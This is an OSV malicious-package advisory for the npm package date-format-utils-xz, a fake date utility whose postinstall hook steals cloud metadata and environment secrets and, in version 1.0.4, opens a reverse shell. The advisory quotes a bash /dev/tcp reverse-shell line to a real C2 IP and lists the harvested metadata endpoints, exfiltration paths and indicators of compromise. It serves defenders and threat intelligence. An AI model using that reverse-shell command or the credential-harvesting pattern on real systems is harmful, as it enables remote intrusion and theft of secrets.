MAL-2026-11001

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/date-format-utils-xz/MAL-2026-11001.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-11001
Published
2026-07-21T00:00:00Z
Modified
2026-09-11T04:00:06Z
Summary
Malicious code in date-format-utils-xz (npm)
Details

The npm package date-format-utils-xz masquerades as a date-formatting utility but is malicious. Its own decoy index.js is prefaced with a Chinese comment translating to "disguised as a normal date formatting tool."

Every published version (1.0.0-1.0.4) declares a postinstall lifecycle hook (postinstall: node postinstall.js) that runs automatically on npm install, before the package is imported, and the payload escalated across releases.

Versions 1.0.0-1.0.3 are a cloud-metadata / environment harvester. The hook shells out with curl to the link-local cloud instance-metadata endpoints of the major providers -- Alibaba (100.100.100.200), AWS/GCP-style (169.254.169.254) and Tencent (metadata.tencentyun.com) -- to steal instance identity/roles and (on misconfigured instances) temporary cloud credentials, and runs env to dump the full process environment (CI secrets, cloud tokens, npm tokens). The data is exfiltrated by HTTP POST to an attacker-controlled C2 under paths /meta/ali, /meta/aws, /meta/tx, /meta/env (and /meta/all in 1.0.3); 1.0.0 is a lighter recon beacon (GET /pre?h={hostname}&u={user}). The C2 migrated from the domain zhijiujiu.cn (1.0.0, 1.0.1) to the hard-coded IP 8.135.48.40 port 80 (1.0.2, 1.0.3) -- a domain-to-IP move that evades DNS-based blocking.

Version 1.0.4 escalated to a full REVERSE SHELL: postinstall.js opens a TCP connection to 8.135.48.40:4444 via Node net.connect and pipes a spawned /bin/sh over the socket, with fallbacks to bash -i >& /dev/tcp/8.135.48.40/4444 0>&1 and a python3 pty shell; failures beacon to /shell/failed and /shell/error. This is interactive remote code execution on any host that installs the package.

Shortly after publishing 1.0.4 the operator unpublished the entire package from npm (all versions removed from the registry).

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (51816185297e91d0ce1b3b63c53ed946db64bebcb353898df580d8302b54773f)

The package presents itself as a date-formatting utility but its postinstall.js runs automatically on npm install and performs credential/metadata theft. It shells out via execSync/curl to query cloud instance metadata endpoints for Alibaba Cloud (100.100.100.200), AWS (169.254.169.254), and Tencent (metadata.tencentyun.com), dumps the installer's entire process environment (env > /tmp/env.txt), and POSTs each payload to a hardcoded bare-IP server at http://8.135.48.40 (path /meta/env for the env dump). A GET fallback exfiltrates error details to the same host. index.js is a minimal date-utility stub and contains a comment ("disguised as a normal date formatting tool") acknowledging the cover, while the exfiltration logic lives entirely in the postinstall lifecycle script. On any cloud or CI host, this leaks whatever secrets are present in the environment (AWS_*, tokens, DB passwords, CI secrets) and any credentials retrievable from the instance metadata services.

Database specific
{
    "iocs": {
        "domains": [
            "zhijiujiu.cn"
        ],
        "hashes": [
            "sha256:249f72604801ea2bdf436464ec0b8256f198f33d5d1f1ff8b92d507cd6e30a0c",
            "sha256:b976e83c3b45962453580fa1c2b7f840f335cbede96832c089b1789bfeeb79c5",
            "sha256:2adb1a22afb8fac18cf5ce68ebfd2fa1409faea7fef2807f3544cc9e6cd6a4b4",
            "sha256:5d8278b7fa3ff1866f1361c7042c03ad0257e49d33072ed1698d2dd3864d1ec2",
            "sha256:e7612d9538dfbd3e64b491f4c9c14387574e3a298a2d34dd453f75ca8f3a4ae2"
        ],
        "ips": [
            "8.135.48.40"
        ]
    },
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-010851",
            "import_time": "2026-07-22T20:59:16.579691553Z",
            "modified_time": "2026-07-22T20:39:41Z",
            "sha256": "4ed3237e0e3098910008ffa97c61cc346cdf252defb1f1ce8731316e4c394309",
            "source": "amazon-inspector",
            "versions": [
                "1.0.3"
            ]
        },
        {
            "id": "IN-MAL-2026-010849",
            "import_time": "2026-07-22T20:59:16.33799665Z",
            "modified_time": "2026-07-22T20:39:24Z",
            "sha256": "6c25b5f6a409f2c8ae349c23262edb84031c3626c268f6e075df9ff001d5370f",
            "source": "amazon-inspector",
            "versions": [
                "1.0.4"
            ]
        },
        {
            "id": "IN-MAL-2026-011000",
            "import_time": "2026-08-04T21:33:13.00180597Z",
            "modified_time": "2026-08-04T21:17:48Z",
            "sha256": "51816185297e91d0ce1b3b63c53ed946db64bebcb353898df580d8302b54773f",
            "source": "amazon-inspector",
            "versions": [
                "1.0.2"
            ]
        },
        {
            "id": "IN-MAL-2026-011051",
            "import_time": "2026-08-04T21:33:15.132077777Z",
            "modified_time": "2026-08-04T21:25:26Z",
            "sha256": "a1925e9b9b84ab137deab5d488a0271798bebd82eb6dbee0ea6a133b3145f768",
            "source": "amazon-inspector",
            "versions": [
                "1.0.1"
            ]
        },
        {
            "id": "IN-MAL-2026-011139",
            "import_time": "2026-08-04T22:30:01.297434672Z",
            "modified_time": "2026-08-04T21:38:07Z",
            "sha256": "79b923985ef349156fc54b8bfa179f78056dfb520f7ffaae49a021a3a95f3b1b",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / date-format-utils-xz

Package

Name
date-format-utils-xz
View open source insights on deps.dev
Purl
pkg:npm/date-format-utils-xz

Affected ranges

Affected versions

1.*
1.0.0
1.0.1
1.0.2
1.0.3
1.0.4

Database specific

cwes
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files": [
        {
            "path": "postinstall.js",
            "sha256": "0600e9aaa57024bf73936f9bc4e23e59b5b397ad9c8260d51016659602eec5b9",
            "tlsh": "d52100ed5e79ab70af6c8b64f0ec321a1521f8ca26059910626c0a760e8c53cf03cda6"
        },
        {
            "path": "index.js",
            "sha256": "47d5ef560237b5f8f4c08060ea19a3d340d5ea848828a793ac696ec493cf93f3",
            "tlsh": "e8f028d168e62841632b70ad06870b5599a4f5032d1bf5f1bf0d4d184fcca4da25f7e4"
        }
    ],
    "package_integrity": [
        {
            "filename": "date-format-utils-xz-1.0.3.tgz",
            "hashes": {
                "sha1": "3c64a263e7b80b6c81aca6751b09e0c6edcfa324",
                "sha512_sri": "sha512-E75VYHJyKEg5NwCwmSEw8uGex7BRCjM4I/dxrdBi2LJJ0w8jsW1ytMl4t7X1w5bgWazsh53olVnWrhdPSaUF1Q=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/date-format-utils-xz/MAL-2026-11001.json"